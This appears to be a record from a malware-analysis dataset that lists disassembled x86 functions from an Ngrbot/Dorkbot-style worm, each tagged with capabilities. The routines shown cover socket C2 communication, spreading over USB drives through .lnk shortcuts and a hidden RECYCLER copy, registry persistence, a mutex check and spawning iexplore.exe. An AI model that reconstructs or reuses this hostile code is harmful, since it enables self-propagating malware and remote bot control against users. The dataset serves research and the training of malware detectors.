joyce8/EMBER2024-capa huggingface dataset:
Function at 0xe35310
Capabilities:
Create process on windows
Get common file path
Get program files directory

Disassembly:
sub esp, 0x874
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x5a]
mov word [esp + 0x58], 0
mov word [esp + 0x260], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x185
xor eax, eax
lea edi, [esp + 0x262]
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x5c]
push 0x26
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
pop edi
jne 0xe35366
add esp, 0x874
ret
lea ecx, [esp + 0x54]
push str.Internet_Exploreriexplore.exe
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov edx, dword [esp + 0x878]
lea eax, [esp + 0x54]
push edx
push eax
push str.__s___S
lea ecx, [esp + 0x268]
push 0x617
push ecx
call sub.ntdll.dll__snwprintf
push 0x10
lea edx, [esp + 0x18]
push 0
push edx
call fcn.00e3b7fb
push 0x44
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00e3b7fb
mov ecx, dword [esp + 0x8a8]
add esp, 0x2c
lea edx, [esp]
lea eax, [esp + 0x10]
neg ecx
push edx
push eax
sbb ecx, ecx
push 0
and ecx, 5
push 0
push 0x10
mov word [esp + 0x54], cx
push 0
push 0
lea ecx, [esp + 0x278]
push 0
push ecx
push 0
mov dword [esp + 0x38], 0x44
mov dword [esp + 0x64], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
add esp, 0x874
ret

Function at 0xe35600
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
push edi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0xc]
mov dword [esp + 8], 0x128
rep stosd dword es:[edi], eax
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0xe3569e
lea eax, [esp + 8]
push ebx
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0xe3568b
lea ecx, [esp + 0xc]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0xe3568b
mov ebx, dword [esp + 0x138]
lea edx, [esp + 0x30]
push edx
push ebx
call sub.ntdll.dll__stricmp
add esp, 8
test eax, eax
je 0xe35687
lea eax, [esp + 0xc]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0xe35653
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop ebx
pop edi
pop esi
add esp, 0x128
ret
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop ebx
pop edi
pop esi
add esp, 0x128
ret
mov eax, edi
pop edi
pop esi
add esp, 0x128
ret
Function at 0xe356b0
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x25c
push esi
push edi
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x5e]
mov word [esp + 0x5c], si
push 0x10
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0xc]
push esi
push eax
call fcn.00e3b7fb
push 0x44
lea ecx, [esp + 0x28]
push esi
push ecx
call fcn.00e3b7fb
add esp, 0x18
lea edx, [esp + 0x5c]
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
push 1
push 0x8026
push edx
push esi
mov word [esp + 0x58], si
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jl 0xe3574c
lea eax, [esp + 0x5c]
push str.Internet_Exploreriexplore.exe
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea ecx, [esp + 8]
lea edx, [esp + 0x18]
push ecx
push edx
push esi
push esi
push 0x10
push esi
push esi
lea eax, [esp + 0x78]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
mov eax, dword [esp + 0x10]
jne 0xe3574e
mov eax, esi
pop edi
pop esi
add esp, 0x25c
ret
Function at 0xe360c0
Capabilities:
Get common file path
Get disk information

Disassembly:
sub esp, 0x418
push esi
push edi
push 0x208
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x12]
mov word [esp + 0x10], 0
mov word [esp + 0x218], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x21a]
rep stosd dword es:[edi], eax
test esi, esi
stosw word es:[edi], ax
jne 0xe3613b
mov eax, dword [esp + 0x424]
test eax, eax
je 0xe3612d
pop edi
mov eax, str.lol.exe
pop esi
add esp, 0x418
ret
pop edi
mov eax, 0xe423c0
pop esi
add esp, 0x418
ret
lea eax, [esp + 0x10]
push 0x208
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jne 0xe3615d
pop edi
mov eax, str.lol.exe
pop esi
add esp, 0x418
ret
lea ecx, [esp + 0x10]
push 4
lea edx, [esp + 0x21c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0
lea eax, [esp + 0x14]
push 0
push eax
push 0
lea ecx, [esp + 0x230]
push 0
push ecx
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0xe361a5
mov dword [esp + 8], 0x1337b00b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.t2f_im
xor edi, edi
call ebx
test eax, eax
jbe 0xe361d6
movsx edx, byte [edi + str.t2f_im]
mov ecx, dword [esp + 0xc]
push str.t2f_im
add ecx, edx
inc edi
mov dword [esp + 0x10], ecx
call ebx
cmp edi, eax
jb 0xe361b9
mov eax, dword [esp + 0xc]
mov ecx, 0x1a
and eax, 0xff
pop ebx
cdq
idiv ecx
add edx, 0x41
mov word [esi], dx
mov eax, dword [esp + 9]
and eax, 0xff
cdq
idiv ecx
add edx, 0x61
mov word [esi + 2], dx
mov eax, dword [esp + 0xa]
and eax, 0xff
cdq
idiv ecx
add edx, 0x61
mov word [esi + 4], dx
mov eax, dword [esp + 0xb]
and eax, 0xff
cdq
idiv ecx
add edx, 0x61
mov word [esi + 6], dx
mov eax, dword [esp + 0xa]
and eax, 0xff
cdq
idiv ecx
add edx, 0x61
mov word [esi + 8], dx
mov eax, dword [esp + 0xb]
mov edx, dword [esp + 8]
and eax, 0xff
and edx, 0xff
add eax, edx
cdq
idiv ecx
mov eax, dword [esp + 0x424]
add edx, 0x61
test eax, eax
mov word [esi + 0xa], dx
je 0xe36270
push str..exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, esi
pop edi
pop esi
add esp, 0x418
ret
Function at 0xe369b0
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0xe369d3
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0xe369cc
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0xe369e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x14]
push esi
push eax
call fcn.00e369b0
add esp, 4
mov dword [esp + 8], eax
test eax, eax
jne 0xe36a01
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov word [esp + 4], 2
push ecx
call sub.WS2_32.dll_htons
push 6
push 1
push 2
mov word [esp + 0x12], ax
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0xe36a33
mov eax, 0xfffffffe
pop esi
add esp, 0x10
ret
mov edx, dword [0xe40dd4]
push 8
push 0xe449d8
push 0x1006
push 0xffff
push esi
mov dword [0xe449d8], edx
mov dword [0xe449dc], 0
call sub.WS2_32.dll_setsockopt
lea eax, [esp + 4]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
mov eax, 0xfffffffd
je 0xe36a79
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0xe36a80
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x400
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xe43cb8
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [esp + 0x410]
lea eax, [esp + 0x414]
push eax
lea edx, [esp + 0xc]
push ecx
push edx
call dword [sym.imp.USER32.dll_wvsprintfA]
mov ecx, dword [0xe43418]
push 0
test ecx, ecx
push eax
je 0xe36ae1
mov edx, dword [esp + 0x414]
lea eax, [esp + 0x10]
push eax
push edx
call ecx
jmp 0xe36af3
mov eax, dword [esp + 0x414]
lea edx, [esp + 0x10]
push edx
push eax
call sub.WS2_32.dll_send
xor ecx, ecx
push 0xe43cb8
test eax, eax
setg cl
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop edi
pop esi
add esp, 0x400
ret
Function at 0xe38380
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x200
push ebp
push esi
push edi
mov edi, dword [esp + 0x210]
test edi, edi
jbe 0xe38428
xor esi, esi
push 4
lea eax, [esp + 0x10]
push esi
push eax
call fcn.00e3b7fb
push edi
call fcn.00e36bf0
mov ebp, eax
add esp, 0x10
test ebp, ebp
jle 0xe3841c
cmp esi, 0x1ff
jae 0xe383ee
push 0
lea ecx, [esp + esi + 0x10]
push 1
push ecx
push edi
call sub.WS2_32.dll_recv
test eax, eax
jle 0xe38410
add esi, eax
mov al, byte [esp + esi + 0xb]
cmp al, 0xd
je 0xe383ee
cmp al, 0xa
je 0xe383ee
push edi
call fcn.00e36bf0
mov ebp, eax
add esp, 4
test ebp, ebp
jg 0xe383b6
test ebp, ebp
jle 0xe3841c
cmp esi, 2
jl 0xe38398
lea edx, [esp + 0xc]
mov byte [esp + esi + 0xb], 0
push edx
push edi
call fcn.00e38180
add esp, 8
test eax, eax
jl 0xe3842a
jmp 0xe38398
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x200
ret
pop edi
mov eax, ebp
pop esi
pop ebp
add esp, 0x200
ret
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x200
ret
Function at 0xe38b20
Capabilities:
Set registry value

Disassembly:
mov eax, dword [0xe43404]
test eax, eax
je 0xe38b4e
lea ecx, [esp + 4]
lea edx, [esp + 8]
push ecx
mov ecx, dword [esp + 0xc]
push edx
mov edx, dword [esp + 0xc]
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call eax
jmp 0xe38b75
mov edx, dword [esp + 8]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0xe38bc2
push esi
mov esi, dword [esp + 0x14]
push esi
call sub.ntdll.dll_wcslen
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
add esp, 4
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
pop esi
jne 0xe38bb7
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
ret
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
ret
Function at 0xe39eb0
Capabilities:
Create shortcut via ishelllink
Get file system object information

Disassembly:
sub esp, 0x680
lea eax, [esp]
push eax
push 0xe3e2f8
push 1
push 0
push 0xe3e2e8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0xe3a04a
push ebx
push ebp
push esi
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x121]
mov byte [esp + 0x120], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x698]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
stosw word es:[edi], ax
lea edx, [esp + 0x120]
push ecx
push edx
stosb byte es:[edi], al
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x120]
push 0xe42464
push eax
call ebp
mov ecx, dword [esp + 0x69c]
lea edx, [esp + 0x120]
push ecx
push edx
call ebp
mov ecx, 0x57
xor eax, eax
lea edi, [esp + 0x32c]
mov dword [esp + 0x328], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x6a0]
push 0x1000
lea eax, [esp + 0x32c]
push 0x160
push eax
push 0
push ecx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x694]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x50]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x120]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x2c]
mov eax, dword [esp + 0x10]
push 4
push str.shell32.dll
push eax
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push 0xe3e308
mov ecx, dword [eax]
push eax
call dword [ecx]
mov eax, dword [esp + 0x10]
push 7
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov esi, eax
test esi, esi
jl 0xe3a03a
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov edx, dword [esp + 0x6a0]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push edx
push eax
call ebx
lea ecx, [esp + 0x18]
push str..lnk
push ecx
call ebp
lea edx, [esp + 0x488]
push 0x104
push edx
lea eax, [esp + 0x20]
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x488]
push 1
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, eax
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x680
ret
Function at 0xe3a060
Capabilities:
Get file attributes
Set file attributes

Disassembly:
mov eax, 0x1000
call sub.ntdll.dll__chkstk
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1010]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, eax
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x811]
mov byte [esp + 0x810], 0
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x11]
push str..lnk
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push eax
call edi
test eax, eax
je 0xe3a1b2
push 0xe40194
push esi
call edi
test eax, eax
je 0xe3a1b2
push 0xe42768
push esi
call edi
test eax, eax
je 0xe3a1b2
mov eax, dword [esp + 0x101c]
test eax, eax
je 0xe3a0ff
test bl, 0x10
je 0xe3a1b2
mov eax, dword [esp + 0x1020]
test eax, eax
jne 0xe3a11a
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1000
ret
push str.RECYCLER
push esi
call edi
test eax, eax
je 0xe3a1b2
push 0x5c
push esi
call sub.ntdll.dll_strrchr
mov ebp, dword [esp + 0x1020]
push 0x5c
push ebp
mov edi, eax
call sub.ntdll.dll_strrchr
add esp, 0x10
test eax, eax
je 0xe3a1b2
test edi, edi
je 0xe3a1b2
inc eax
push eax
push str._c__start___cd__RECYCLER_s
lea eax, [esp + 0x818]
push 0x7ff
push eax
call sub.ntdll.dll__snprintf
inc edi
lea ecx, [esp + 0x20]
push edi
push str.__windir__explorer.exe___cd___s
push 0x7ff
push ecx
call sub.ntdll.dll__snprintf
push ebp
lea edx, [esp + 0x34]
push esi
lea eax, [esp + 0x838]
push edx
push eax
push str._windir__system32cmd.exe
call fcn.00e39eb0
add esp, 0x34
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1000
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1000
ret
Function at 0xe3a1c0
Capabilities:
Enumerate files on windows
Set current directory

Disassembly:
sub esp, 0x350
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x255]
mov byte [esp + 0x254], bl
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x360]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x254]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x254]
push 0xe4277c
push ecx
call fcn.00e39e50
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea edx, [esp + 0x114]
lea eax, [esp + 0x254]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0xe3a254
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x350
ret
push ebp
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [esp + 0x144]
lea edx, [esp + 0x14]
push ecx
push esi
push 0xe42774
push 0x103
push edx
call sub.ntdll.dll__snprintf
mov edi, dword [esp + 0x384]
mov ebx, dword [esp + 0x380]
mov ebp, dword [esp + 0x37c]
push edi
push ebx
lea eax, [esp + 0x30]
push ebp
push eax
call fcn.00e3a060
mov edx, dword [esp + 0x34]
add esp, 0x24
lea ecx, [esp + 0x118]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0xe3a32d
push 8
lea eax, [esp + 0x148]
push str.RECYCLER
push eax
call sub.ntdll.dll_strncmp
add esp, 0xc
test eax, eax
je 0xe3a316
lea ecx, [esp + 0x144]
push str..inf
push ecx
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
jne 0xe3a316
lea edx, [esp + 0x144]
lea eax, [esp + 0x14]
push edx
push esi
push 0xe42774
push 0x103
push eax
call sub.ntdll.dll__snprintf
push edi
push ebx
lea ecx, [esp + 0x30]
push ebp
push ecx
call fcn.00e3a060
add esp, 0x24
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x118]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0xe3a2b5
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x350
ret
Function at 0xe3a350
Capabilities:
Get storage device properties

Disassembly:
sub esp, 0x410
push ebx
push ebp
push 1
push 1
xor ebx, ebx
call sub.MSVCRT.dll_calloc
mov ebp, eax
add esp, 8
cmp ebp, ebx
jne 0xe3a377
pop ebp
xor eax, eax
pop ebx
add esp, 0x410
ret
mov eax, dword [esp + 0x41c]
push esi
movsx ecx, byte [eax]
push ecx
push str.._c:
push ebp
call sub.ntdll.dll_sprintf
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0xe3a40d
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
lea ecx, [esp + 0x24]
push 0xc
push ecx
push 0x2d1400
push esi
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x44], 0x400
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
pop edi
je 0xe3a40d
cmp dword [esp + 0x38], 7
jne 0xe3a40d
mov ebx, 1
push ebp
call sub.MSVCRT.dll_free
add esp, 4
mov eax, ebx
pop esi
pop ebp
pop ebx
add esp, 0x410
ret
Function at 0xe3ab00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x7c
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0x20
lea eax, [esp + 0x40]
push ebx
push eax
call fcn.00e3b7fb
mov word [esp + 0x20], 0xb6bf
mov word [esp + 0x22], 0x11d0
mov ecx, dword [esp + 0x20]
mov eax, 0x53f56307
add esp, 0xc
mov dword [esp + 0x4c], ecx
mov byte [esp + 0x18], 0x94
mov byte [esp + 0x19], 0xf2
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0xa0
mov edx, dword [esp + 0x18]
mov byte [esp + 0x1c], 0xc9
mov byte [esp + 0x1d], 0x1e
mov byte [esp + 0x1e], 0xfb
mov byte [esp + 0x1f], 0x8b
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x5c]
push ecx
mov dword [esp + 0x60], 0x30
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], 0xe3a450
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], str.gdkWindowToplevelClass
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x40], 0x20
mov dword [esp + 0x44], 5
mov dword [esp + 0x54], edx
mov dword [esp + 0x58], eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
test ax, ax
je 0xe3ac46
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.gdkWindowToplevelClass
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp eax, ebx
je 0xe3ac46
lea edx, [esp + 0x3c]
push ebx
push edx
push eax
call dword [sym.imp.USER32.dll_RegisterDeviceNotificationA]
test eax, eax
je 0xe3ac46
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push ebx
push ebx
lea eax, [esp + 0x28]
push ebx
push eax
call esi
test eax, eax
jle 0xe3ac46
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebp, dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [0xe44698], ebx
je 0xe3ac46
lea ecx, [esp + 0x20]
push ecx
call edi
lea edx, [esp + 0x20]
push edx
call ebp
push ebx
push ebx
lea eax, [esp + 0x28]
push ebx
push eax
call esi
test eax, eax
jg 0xe3ac22
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7c
ret
Function at 0xe3b200
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
sub esp, 0x314
push ebp
push esi
push edi
xor ebp, ebp
call fcn.00e34bb0
call fcn.00e34c40
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0xe43a74], eax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x11a]
mov word [esp + 0x118], bp
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
push 0x208
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov dword [esp + 0x11], eax
lea ecx, [esp + 0x11c]
mov word [esp + 0x15], ax
push ecx
push eax
mov byte [esp + 0x18], 0
mov byte [esp + 0x1f], al
call edi
test eax, eax
je 0xe3b2dc
push ebp
push ebp
lea edx, [esp + 0x1c]
push 0x104
push edx
lea eax, [esp + 0x128]
push 0xffffffffffffffff
push eax
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0xe3b2dc
lea ecx, [esp + 0x14]
push 4
lea edx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [esp + 0xc]
push eax
call fcn.00e3a350
add esp, 4
test eax, eax
je 0xe3b2dc
push 5
push ebp
lea ecx, [esp + 0x14]
push ebp
push ecx
push str.OPEN
push ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebp, 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.TD7HkFo7vBSh7vQd
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0xe3b345
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0xe3b345
mov esi, dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
call esi
jmp 0xe3b34b
mov esi, dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebp
call fcn.00e36280
call fcn.00e3b8d1
push str.t2f_im
call fcn.00e3c127
add esp, 8
test eax, eax
jne 0xe3b36c
push eax
call esi
jmp 0xe3b39b
push str.running
push str.ngrBot
call fcn.00e34fc0
add esp, 8
cmp eax, 1
jne 0xe3b389
push 0
call esi
jmp 0xe3b39b
push str.running
push str.ngrBot
call fcn.00e34f10
add esp, 8
push 0x104
push 0xe44230
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x208
push str.C:UsersAdminAppDataRoamingVgpwpr.exe
push 0
call edi
push 0
call fcn.00e360c0
add esp, 4
mov esi, eax
push 0x208
push esi
push 0xe4400c
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push str.Vgpwpr
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor eax, eax
cmp word [0x7ffe002c], 0x14c
pop edi
pop esi
setne al
test eax, eax
mov dword [0xe44674], eax
pop ebp
je 0xe3b422
call fcn.00e356b0
push 0x9c4
mov dword [0xe44678], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0xe42aa8
push 0xe42a38
push 0xe42880
push 0xe42ad0
call fcn.00e3c268
add esp, 0x14
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]